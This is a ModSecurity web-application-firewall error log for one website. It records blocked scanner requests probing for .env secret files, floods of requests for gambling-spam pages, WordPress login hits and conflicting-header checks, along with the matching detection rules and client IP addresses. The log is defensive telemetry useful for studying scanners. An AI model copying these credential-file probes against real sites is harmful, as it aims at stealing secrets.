[Wed Feb 04 23:34:23.136885 2026] [:error] [pid 63684:tid 63689] [client 37.27.119.185:56236] [client 37.27.119.185] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||measureyourbrand.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "measureyourbrand.com.au"] [uri "/"] [unique_id "aYNm_9sfhS3nNwjjsUOpKgAAAIA"], referer: https://www.youtube.com
[Wed Feb 04 23:47:22.036657 2026] [:error] [pid 6490:tid 6517] [client 41.142.68.254:54009] [client 41.142.68.254] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "measureyourbrand.com.au"] [uri "/.env"] [unique_id "aYNqCvjiJaSp2OpoDUlUZAAAAFg"], referer: https://www.google.fr/
[Wed Feb 04 23:47:23.612819 2026] [:error] [pid 63684:tid 63691] [client 41.142.68.254:54777] [client 41.142.68.254] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "measureyourbrand.com.au"] [uri "/.env.backup"] [unique_id "aYNqC9sfhS3nNwjjsUOtWQAAAII"], referer: https://news.ycombinator.com/from?site=nytimes.com
[Wed Feb 04 23:47:25.227012 2026] [:error] [pid 6490:tid 6500] [client 41.142.68.254:55507] [client 41.142.68.254] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "measureyourbrand.com.au"] [uri "/.env.old"] [unique_id "aYNqDfjiJaSp2OpoDUlUbgAAAEc"], referer: https://medium.com/search?q=productivity+tips
[Wed Feb 04 23:47:26.827680 2026] [:error] [pid 63686:tid 63751] [client 41.142.68.254:56219] [client 41.142.68.254] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "measureyourbrand.com.au"] [uri "/.env.local"] [unique_id "aYNqDhyaRl9O5jmngTz8jAAAAQg"], referer: https://stackoverflow.com/questions/7654321/how-to-center-a-div?noredirect=1
[Wed Feb 04 23:47:28.493223 2026] [:error] [pid 6490:tid 6516] [client 41.142.68.254:56965] [client 41.142.68.254] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "measureyourbrand.com.au"] [uri "/.env.production"] [unique_id "aYNqEPjiJaSp2OpoDUlUdwAAAFc"], referer: https://search.yahoo.com/search?p=home+decor+ideas&ei=UTF-8
[Wed Feb 04 23:47:30.149127 2026] [:error] [pid 6490:tid 6495] [client 41.142.68.254:57720] [client 41.142.68.254] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "measureyourbrand.com.au"] [uri "/.env.staging"] [unique_id "aYNqEvjiJaSp2OpoDUlUewAAAEI"], referer: https://www.npmjs.com/search?q=date+formatter
[Wed Feb 04 23:47:33.390995 2026] [:error] [pid 63686:tid 63743] [client 41.142.68.254:59482] [client 41.142.68.254] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "measureyourbrand.com.au"] [uri "/.env"] [unique_id "aYNqFRyaRl9O5jmngTz8nAAAAQA"], referer: https://pypi.org/search/?q=data+visualization
[Wed Feb 04 23:47:34.252958 2026] [:error] [pid 6490:tid 6504] [client 41.142.68.254:64126] [client 41.142.68.254] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "measureyourbrand.com.au"] [uri "/.env.backup"] [unique_id "aYNqFvjiJaSp2OpoDUlUfQAAAEs"], referer: https://twitter.com/CookingBlog/status/9876543210?ref_src=twsrc%5Etfw
[Wed Feb 04 23:47:35.120278 2026] [:error] [pid 6490:tid 6511] [client 41.142.68.254:53903] [client 41.142.68.254] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "measureyourbrand.com.au"] [uri "/.env.old"] [unique_id "aYNqF_jiJaSp2OpoDUlUfwAAAFI"], referer: https://www.goodreads.com/search?q=historical+fiction&qid=
[Wed Feb 04 23:47:36.011459 2026] [:error] [pid 63685:tid 63732] [client 41.142.68.254:58061] [client 41.142.68.254] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "measureyourbrand.com.au"] [uri "/.env.local"] [unique_id "aYNqGI6Dyg716yRb8FCI3AAAANA"], referer: https://news.ycombinator.com/from?site=nytimes.com
[Thu Feb 05 02:15:21.823110 2026] [:error] [pid 63777:tid 63803] [client 145.239.69.40:48826] [client 145.239.69.40] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20joker%20auto.aspx"] [unique_id "aYOMufQ-YVerd_zSVS-X7AAAABg"]
[Thu Feb 05 02:15:26.424642 2026] [:error] [pid 63684:tid 63703] [client 145.239.69.40:58386] [client 145.239.69.40] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20osaka.aspx"] [unique_id "aYOMvtsfhS3nNwjjsUPaewAAAI4"]
[Thu Feb 05 02:15:31.860207 2026] [:error] [pid 63684:tid 63704] [client 145.239.69.40:48790] [client 145.239.69.40] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20slot%20789.aspx"] [unique_id "aYOMw9sfhS3nNwjjsUPagQAAAI8"]
[Thu Feb 05 02:15:35.858842 2026] [:error] [pid 6490:tid 6501] [client 145.239.69.40:48796] [client 145.239.69.40] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20slot%20888th.aspx"] [unique_id "aYOMx_jiJaSp2OpoDUmLEAAAAEg"]
[Thu Feb 05 02:15:41.159426 2026] [:error] [pid 63684:tid 63699] [client 145.239.69.40:46128] [client 145.239.69.40] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20slot%20auto%20wallet.aspx"] [unique_id "aYOMzdsfhS3nNwjjsUPakwAAAIo"]
[Thu Feb 05 02:15:44.560874 2026] [:error] [pid 63686:tid 63757] [client 145.239.69.40:46132] [client 145.239.69.40] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20slot%20auto.aspx"] [unique_id "aYOM0ByaRl9O5jmngTwn7AAAAQ4"]
[Thu Feb 05 02:15:48.255717 2026] [:error] [pid 6490:tid 6497] [client 145.239.69.40:46144] [client 145.239.69.40] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20slot%20game.aspx"] [unique_id "aYOM1PjiJaSp2OpoDUmLHQAAAEQ"]
[Thu Feb 05 02:16:18.320092 2026] [:error] [pid 6490:tid 6493] [client 145.239.69.40:34150] [client 145.239.69.40] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20slot.aspx"] [unique_id "aYOM8vjiJaSp2OpoDUmLMwAAAEA"]
[Thu Feb 05 02:56:05.788215 2026] [:error] [pid 63777:tid 63791] [client 217.77.10.74:56922] [client 217.77.10.74] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/api/graphql"] [unique_id "aYOWRfQ-YVerd_zSVS-nFgAAAAw"]
[Thu Feb 05 02:56:06.590868 2026] [:error] [pid 3156:tid 3168] [client 217.77.10.74:57347] [client 217.77.10.74] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/catalogsearch/advanced/result/"] [unique_id "aYOWRmFkBP84nEvT5IhY2AAAAYc"]
[Thu Feb 05 02:56:07.390075 2026] [:error] [pid 26443:tid 26458] [client 217.77.10.74:57476] [client 217.77.10.74] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/rest/V1/search"] [unique_id "aYOWR9RUJ4b_jBAfhPKUQgAAAU0"]
[Thu Feb 05 02:56:08.203832 2026] [:error] [pid 3156:tid 3164] [client 217.77.10.74:57632] [client 217.77.10.74] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "measureyourbrand.com.au"] [uri "/.env"] [unique_id "aYOWSGFkBP84nEvT5IhY5QAAAYM"]
[Thu Feb 05 05:39:14.539697 2026] [:error] [pid 12187:tid 12215] [client 172.245.102.4:65185] [client 172.245.102.4] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 172.245.102.4, incrementing brute counter"] [hostname "measureyourbrand.com.au"] [uri "/wp-login.php"] [unique_id "aYO8gonHiwpamEOSyaPtMwAAABM"]
[Thu Feb 05 05:51:35.463225 2026] [:error] [pid 12189:tid 12254] [client 43.166.130.123:60200] [client 43.166.130.123] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.measureyourbrand.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.measureyourbrand.com.au"] [uri "/"] [unique_id "aYO_Z710V_VY_a0vRT6AkQAAAIM"]
[Thu Feb 05 07:08:22.599658 2026] [:error] [pid 12188:tid 12247] [client 170.106.180.139:59144] [client 170.106.180.139] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||measureyourbrand.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "measureyourbrand.com.au"] [uri "/"] [unique_id "aYPRZjKWpl9mNO_-qzMKegAAAFc"]
[Thu Feb 05 07:21:59.972797 2026] [:error] [pid 10950:tid 10993] [client 81.166.116.181:59344] [client 81.166.116.181] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/apollo%20slot%20pg.aspx"] [unique_id "aYPUl_yO5N8A8xQHgCrkFQAAAYw"]
[Thu Feb 05 07:22:02.718240 2026] [:error] [pid 10949:tid 10957] [client 81.166.116.181:49040] [client 81.166.116.181] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/auto%20slot.aspx"] [unique_id "aYPUmtyI0wNtlpWZ1djrggAAAUM"]
[Thu Feb 05 07:22:05.479452 2026] [:error] [pid 12188:tid 12236] [client 81.166.116.181:36972] [client 81.166.116.181] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/betflik%20casino.aspx"] [unique_id "aYPUnTKWpl9mNO_-qzMPpAAAAEw"]
[Thu Feb 05 07:22:08.063038 2026] [:error] [pid 10949:tid 10968] [client 81.166.116.181:36982] [client 81.166.116.181] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/betflik%20co.aspx"] [unique_id "aYPUoNyI0wNtlpWZ1djriAAAAU4"]
[Thu Feb 05 07:22:10.813984 2026] [:error] [pid 10901:tid 10926] [client 81.166.116.181:36996] [client 81.166.116.181] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/betflik%20dc.aspx"] [unique_id "aYPUomuRF4wGmEFQVY0pfgAAARQ"]
[Thu Feb 05 07:22:13.552515 2026] [:error] [pid 10950:tid 10993] [client 81.166.116.181:60146] [client 81.166.116.181] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/betflik%20original.aspx"] [unique_id "aYPUpfyO5N8A8xQHgCrkLAAAAYw"]
[Thu Feb 05 07:22:16.189749 2026] [:error] [pid 10949:tid 10973] [client 81.166.116.181:60156] [client 81.166.116.181] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/betflik%20slot.aspx"] [unique_id "aYPUqNyI0wNtlpWZ1djrkAAAAVM"]
[Thu Feb 05 07:22:18.919469 2026] [:error] [pid 10950:tid 11005] [client 81.166.116.181:60166] [client 81.166.116.181] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/betflik%20thailand.aspx"] [unique_id "aYPUqvyO5N8A8xQHgCrkMwAAAZg"]
[Thu Feb 05 07:22:21.683298 2026] [:error] [pid 10950:tid 10990] [client 81.166.116.181:60176] [client 81.166.116.181] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/betflix%20auto.aspx"] [unique_id "aYPUrfyO5N8A8xQHgCrkNwAAAYk"]
[Thu Feb 05 07:22:24.309313 2026] [:error] [pid 12287:tid 12293] [client 81.166.116.181:59510] [client 81.166.116.181] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/betflix%20casino.aspx"] [unique_id "aYPUsDOXzeBKhB81n7r5RQAAAMM"]
[Thu Feb 05 07:22:27.061970 2026] [:error] [pid 12189:tid 12257] [client 81.166.116.181:59522] [client 81.166.116.181] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/betflix%20co.aspx"] [unique_id "aYPUs710V_VY_a0vRT6WqQAAAIY"]
[Thu Feb 05 07:22:29.688189 2026] [:error] [pid 10901:tid 10910] [client 81.166.116.181:59532] [client 81.166.116.181] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/betflix%20slot.aspx"] [unique_id "aYPUtWuRF4wGmEFQVY0pjAAAAQQ"]
[Thu Feb 05 07:22:32.357804 2026] [:error] [pid 10950:tid 10981] [client 81.166.116.181:59542] [client 81.166.116.181] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/betflix%20thailand.aspx"] [unique_id "aYPUuPyO5N8A8xQHgCrkQQAAAYA"]
[Thu Feb 05 07:22:34.990071 2026] [:error] [pid 12287:tid 12301] [client 81.166.116.181:50032] [client 81.166.116.181] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/betflix%20wallet.aspx"] [unique_id "aYPUujOXzeBKhB81n7r5WAAAAMs"]
[Thu Feb 05 07:22:37.603259 2026] [:error] [pid 12287:tid 12294] [client 81.166.116.181:50040] [client 81.166.116.181] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/casino%20betflik.aspx"] [unique_id "aYPUvTOXzeBKhB81n7r5XgAAAMQ"]
[Thu Feb 05 07:22:40.218311 2026] [:error] [pid 12188:tid 12248] [client 81.166.116.181:50042] [client 81.166.116.181] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/casino%20betflix.aspx"] [unique_id "aYPUwDKWpl9mNO_-qzMP1wAAAFg"]
[Thu Feb 05 07:22:42.819816 2026] [:error] [pid 12188:tid 12225] [client 81.166.116.181:50056] [client 81.166.116.181] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/g2g%20slot.aspx"] [unique_id "aYPUwjKWpl9mNO_-qzMP3wAAAEE"]
[Thu Feb 05 07:22:45.500171 2026] [:error] [pid 12188:tid 12246] [client 81.166.116.181:60602] [client 81.166.116.181] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/galaxy%20slot.aspx"] [unique_id "aYPUxTKWpl9mNO_-qzMP5wAAAFY"]
[Thu Feb 05 07:22:48.246218 2026] [:error] [pid 10901:tid 10920] [client 81.166.116.181:60616] [client 81.166.116.181] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/h25%20com.aspx"] [unique_id "aYPUyGuRF4wGmEFQVY0plQAAAQ4"]
[Thu Feb 05 07:22:50.717721 2026] [:error] [pid 12287:tid 12296] [client 81.166.116.181:60632] [client 81.166.116.181] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/jili%20slot.aspx"] [unique_id "aYPUyjOXzeBKhB81n7r5ZQAAAMY"]
[Thu Feb 05 07:22:53.464388 2026] [:error] [pid 12187:tid 12208] [client 81.166.116.181:35654] [client 81.166.116.181] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/joker%20vip.aspx"] [unique_id "aYPUzYnHiwpamEOSyaMHoAAAAAw"]
[Thu Feb 05 07:22:56.221073 2026] [:error] [pid 12287:tid 12312] [client 81.166.116.181:35658] [client 81.166.116.181] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/kingkong%20joker.aspx"] [unique_id "aYPU0DOXzeBKhB81n7r5bAAAANU"]
[Thu Feb 05 07:23:18.884411 2026] [:error] [pid 10901:tid 10913] [client 81.166.116.181:35668] [client 81.166.116.181] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pp%20slot.aspx"] [unique_id "aYPU5muRF4wGmEFQVY0pyQAAAQc"]
[Thu Feb 05 07:23:21.519920 2026] [:error] [pid 12188:tid 12227] [client 81.166.116.181:42844] [client 81.166.116.181] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/riches777%20pg.aspx"] [unique_id "aYPU6TKWpl9mNO_-qzMQFQAAAEM"]
[Thu Feb 05 07:23:24.138311 2026] [:error] [pid 12188:tid 12225] [client 81.166.116.181:52404] [client 81.166.116.181] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/sa%20casino.aspx"] [unique_id "aYPU7DKWpl9mNO_-qzMQGgAAAEE"]
[Thu Feb 05 07:23:26.748231 2026] [:error] [pid 10901:tid 10922] [client 81.166.116.181:52412] [client 81.166.116.181] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/sbobet%20auto.aspx"] [unique_id "aYPU7muRF4wGmEFQVY0pzQAAARA"]
[Thu Feb 05 07:23:29.341364 2026] [:error] [pid 12189:tid 12266] [client 81.166.116.181:52416] [client 81.166.116.181] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/sbobet%20ca.aspx"] [unique_id "aYPU8b10V_VY_a0vRT6W5wAAAI8"]
